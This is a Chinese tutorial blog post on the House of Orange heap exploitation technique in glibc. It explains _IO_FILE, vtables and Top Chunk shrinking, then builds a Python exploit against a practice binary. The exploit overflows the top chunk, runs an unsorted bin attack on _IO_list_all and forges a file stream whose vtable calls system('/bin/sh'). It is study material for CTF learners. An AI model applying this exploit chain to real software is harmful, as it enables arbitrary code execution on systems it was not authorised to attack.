实验室的项目验收太忙了,加上参加了各种奇奇怪怪的比赛,咕了好久emmmmm
转自自己的博客 https://hack1s.fun/
在上次介绍过了Unsortedbin attack之后,再稍微进一步看一个更复杂一些的利用
House of Orange
这种利用技巧源于一道Hitcon CTF的同名题目,不过之后也有一些其他的变形
IO_FILE
在看House of Orange的例子之前,我们首先了解一个Linux中的利用机制
_IO_FILE
使用gdb随便调试一个程序
例如gdb /bin/sh
之后start
加载这个binary所有的依赖库文件
可以使用ptype /o struct _IO_FILE
查看这个结构的定义
/o
是在输出是显示偏移(offset)
在pwndbg中可以直接写为dt FILE
dt是pwndbg的指令dump type
如果要用dt查看其他结构需要用上引号dt "struct _IO_FILE"
_IO_FILE
这个结构体中有一个_chain
可以看到它的类型是一个struct _IO_FILE *
,也就是说是一个指向其他_IO_FILE
结构体的指针;
在使用fopen
之类的函数打开一个文件之后,实际上系统会在堆上创建一个这样的_IO_FILE
结构体,并将其加入到一个单链表中,单链表的头部为_IO_list_all
,这个单链表可以理解为是一个专门存储_IO_FILE
的fastbin
在gdb中输出_IO_list_all
,可以看到这个的类型是_IO_FILE_plus
输出这一个结构的类型,可以看到这个结构实际上就是_IO_FILE
加上了一个vtable
(下面的子节介绍了虚函数表的知识,可以看完之后再跳回来)
那这个_IO_list_all
结构体里面这个vtable是干什么用的呢?
为什么会用到C++里面的这种虚函数表呢
实际上GNU的C++库和C库联系非常的紧密,调试C++程序的时候可以发现其实一些C++的库函数底层实现都是借助C库的函数完成的
例如C++的方法make_shared()
、make_unique()
等底层实际上也都是通过malloc
实现的
这里的这个vtable实际上是为了与C++的streambuf
类兼容才会出现的
但是这里兼容性上的问题,让GLIBC的file stream有可能存在虚函数表劫持的漏洞
另一方面,我们知道Linux的文件系统中一切皆为文件
每一个进程创建时都会有三个标准I/O File Stream:
即使程序没有输出、没有输入,它也会存在这三个标准的I/O
还是以前面gdb打开的/bin/sh
为例,查看它的_IO_list_all
可以看到上面的三项内容
分别就是这三个标准的I/O
这个程序甚至还没有运行起来
所以即使一个程序没有用到文件,我们仍然是有可能利用到I/O File Stream的
虚函数表
这个vtable是一个虚函数表
这边需要补充一些vtable的相关知识
像C++这样的编程语言有一个机制叫做多态,参照菜鸟教程的例子
这里面有一个Shape
类,另外有两个子类Rectangle
和Triangle
有一个area
方法用于计算面积,但是三角形好正方形算面积的方法是不同的
同样调用的是area,编译器怎么就知道该去链接到哪一个函数呢
父类Shape
的area
是一个虚函数,编译器编译的时候不会链接到这个函数
实际上在创建rec
对象和tri
对象的时候,每个对象会有一个指向虚函数表的指针
这个指针会指向真正在链接时需要链接到的函数
在C++程序的exploitation中,一个比较常见的攻击方法就是劫持虚函数表
将一个对象的vtable pointer利用溢出等漏洞修改为我们伪造的一个函数表,这样每次触发应该调用的方法时就会执行伪造的地址指向的函数
House of orange
原理
House of orange的核心思想主要是这样几部分:
- 不使用free函数而得到一个free chunk
- 伪造vtable
具体而言,获取free chunk的实现方法是修改Top Chunk
在House of Force中使用的方法是修改Top Chunk
为一个特别大的值,之后我们申请一个特别大的chunk,循环一遍内存之后就可以访问到原本Top Chunk
上方的内容
那如果将Top Chunk
修改为一个很小的值呢?
在我们最开始学习堆的时候有了解到,malloc
分配内存的时候实际上更底层是通过sbrk
的调用拓展内存的空间的,这里图中绿色的线表示的就是brk
目前分配到的位置
假如我们把Top Chunk
修改为一个很小的数,这时再申请一个更大的chunk
内存认为的Top Chunk
是无法满足申请空间的需求的,因此堆管理器后续会再使用brk
申请一块新的区域
<img src="https://static.hack1s.fun/images/2021/11/05/image-20211105215825040.png" alt="image-20211105215825040" style="zoom: 50%;" />
正常来说堆管理器会直接将通过brk
分配的新内存直接并入到Top Chunk中(即让Top Chunk变大)
但是由于我们改小了Top Chunk,堆管理器认为Top Chunk与堆的尾部并不相邻
因此会将原本的Top Chunk Free掉
这样一番过程下来,我们就没有通过Free函数得到了一个Free chunk
根据修改的Top Chunk大小,我们可以利用这个Free Chunk来实现Unsorted bin attack
利用Unsorted bin attack结合IO_FILE
的伪造就可以直接getshell
实践
检查安全措施,可以看到这个程序开启了Canary和NX、got表不可写并且开启了随机化
尝试运行一下
这里使用到的程序有这样三个选项,可以申请两次小chunk和一次大chunk
申请之后在gdb中可以看到
小的chunk是0x20大小,而大的chunk大小是0xfd0
这个示例程序的漏洞在于edit函数,没有进行长度检查,可以溢出后面的chunk
但是edit只允许修改第一个small chunk
那么就按照前面说的思路首先修改Top Chunk为一个比较小的值,之后再申请这个大的chunk
为了使用unsortedbin attack,这个大小我们先定为0x100
小chunk大小为0x20,可用的内容应该是0x18,所以我们的payload为
small_malloc()
edit(b'Y'*0x18+p64(0x101))
运行后可以看到Top Chunk被我们改写为了0x101
这时我们再申请一个 large chunk
但是并没有顺利执行,遇到了一个这样的报错
使用f 3
切换frame到sysmalloc,可以看到在malloc里面实际上是因为一个assert
语句出现了错误
我们仔细看一下这里报错的语句,核心检查的地方其实是这两句
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize-1)) == 0
前一句很简单,就是说Top Chunk
的prev_inuser
位一定需要为1
后一句则是在检查Top Chunk是否在一个页的边界结尾,即是否按页对齐了
这里报错主要是这个页对齐检查没有通过
所以我们伪造的top chunk大小需要进行修改
在Top Chunk之前我们申请了一个0x20大小的chunk,因此这个大小我们伪造为0x1000-0x20
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
再次运行,可以看到就没有出错了
<img src="https://static.hack1s.fun/images/2021/11/06/image-20211106212850029.png" alt="image-20211106212850029" style="zoom:50%;" />
可以看到我们在这里得到了一个unsorted bin
那么接下来就是利用unsorted bin attack了
利用unsorted bin attack我们可以将main_arena写到任意地址
不过我们往哪里写这个值呢?
House of Orange接下来的步骤就是利用unsorted bin attack篡改_IO_list_all
的指针
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x21) + p64(0) + p64(libc.sym._IO_list_all - 0x10))
我们获取到这个unsorted bin之后修改fd、bk
fd写成任意一个值,bk改为_IO_list_all
指针前0x10的值
之后再申请一个小的chunk
这样在申请时就会遍历unsorted bin,将这个unsorted bin unlink
执行之后可以看到这时_IO_list_all
已经指向main_arena
中的值了
正常来说,在程序退出时会对_IO_list_all
中的文件进行关闭(flush)
这个退出可能是调用了exit
,也可能是正常的从main
函数中return
这里下一个断点观察一下程序的行为
set breakpoint pending on
b _IO_flush_all_lockp
选择4 quit的操作
断在了这个函数,看到backtrace里面,这个_IO_flush_all_lockp
是由_IO_cleanup
调用的
继续运行,不出意外肯定会报错
这里错误是因为main_arena
被当作File Stream
对待
我们希望触发的是_IO_OVERFLOW(fp,EOF)
这一行
在这之前第一句进行了两个检查
fp->mode <=0 && fp-> _IO_write_ptr > fp-> _IO_write_base
这里被解析时_mode
被认为是一个负数,程序认为这个File Stream不需要被关闭
于是直接去看下一个FileStream了
下一个File Stream是去找了_chain
这个对象指向的位置,我们可以看到这里仍然在main_arena
中
这里是main_arena+168
,值为0x7ffff7dd4bc8
的位置
关于main_arena
的结构,我们可以复习一下这张图
图中Top Chunk
是0x555555778fd0
,unsortedbin fd
是0x555555757020
依次对应下来图中红框标记出来的 0x7ffff7dd4bc8
对应的是0x60的smallbins
所以在第一次_IO_flush_all_lockp
执行失败后会顺着_chain
找到这个0x60的smallbins进一步处理
那我们如果将一个伪造的FileStream数据填到这里就可以执行对应的内容了
还记得前面我们伪造了一个unsortedbin的大小吗?
如果我们将unsortedbin的大小伪造为0x60,在申请一个0x20大小的chunk时,这个unsortedbin就会被sort到这个0x60的smallbins中
也就是说我们直接在这个bins中伪造数据,就会被解析为FileStream了
修改一下payload
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x61) + p64(0) + p64(libc.sym._IO_list_all - 0x10))
那么伪造File Stream的数据都需要填哪些呢?
先暂且不修改后面的内容,运行一下,看看这个smallbins的位置是如何被解析的
这篇博客开始时我们讲到用dt FILE查看_IO_FILE
结构
<img src="https://static.hack1s.fun/images/2021/11/04/image-20211104165713039.png" alt="image-20211104165713039" style="zoom:50%;" />
对应来看的话,原本chunk的size字段是_IO_read_ptr
flags对应的是prev_size
的地方,所以我们edit修改数据时填充可以少8个字节
想要触发overflow
函数,需要满足的条件是
这里写到的fp->mode <=0
并且fp-> _IO_write_ptr > fp-> _IO_write_base
那么我们对应的设置一下这些值
在wirte_end
及之后的内容直到mode
都是对我们没用的数据,直接先填0
这部分数据长度从0x30
到0xc0
,用p64(0)*18
来填充
payload = b"Y"*0x10
flags = b"Y"*0x8
fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
payload = payload + flags
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + p32(mode) + p32(0) + p64(0)*2
到这里为止,后面还有一部分没有用到的空间,是_IO_FILE
结构中最后的unused
部分有20个字节
我们也全部用0填充
以上内容就构造完毕了_IO_FILE
结构,但是关键的vtable
指针还没有修改
要伪造的vtable本身只是填一个任意的我们可以控制的区域的地址就可以
为了节省一些空间,我们让这个指针指回到伪造的_IO_FILE
中
那么计算一下vtable的值,从heap开始的位置,首先加上是0x20
大小的一个small chunk
加上0xd8
大小的整个伪造的_IO_FILE
结构
减去重合的8字节
最后是减去overflow函数的地址偏移24即0x18
修改一下之前payload的最后一部分
vtable = heap + 0x20 + 0xd8 - 0x8 - 0x18
payload = payload + p32(mode) + p32(0) + p64(0) + p64(overflow)
payload = payload + p64(vtable)
最后就是overflow
的值了
这里有两个选择,一是可以直接填写一个one_gadget
或者我们可以回忆一下,overflow函数调用时的样子
实际上调用的参数是fp
,也就是最开始的flags
毕竟整个_IO_FILE
都是我们伪造的内容,因此这个flags
也可以直接控制
那么另一个简单的方法就是修改为
flags = b"/bin/sh\x00"
overflow = libc.sym.system
那么最终完整的部分为
#----- 修改Top Chunk得到一个Free chunk
small_malloc()
edit(b"Y"*0x18 + p64(0x1000-0x20+0x1))
large_malloc()
#-----伪造IO_FILE劫持vtable
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)
overflow = p64(libc.sym.system)
payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
edit(payload)
#-----触发操作让unsortedbin被sort
small_malloc()
执行一下脚本,虽然报了一堆错误,但是执行下来还是弹回来了一个shell
这就是House Of Orange的完整过程了,确实很巧妙,并且过程也比之前学到的内容复杂一些
不好理解的话实际动手写一下就会好很多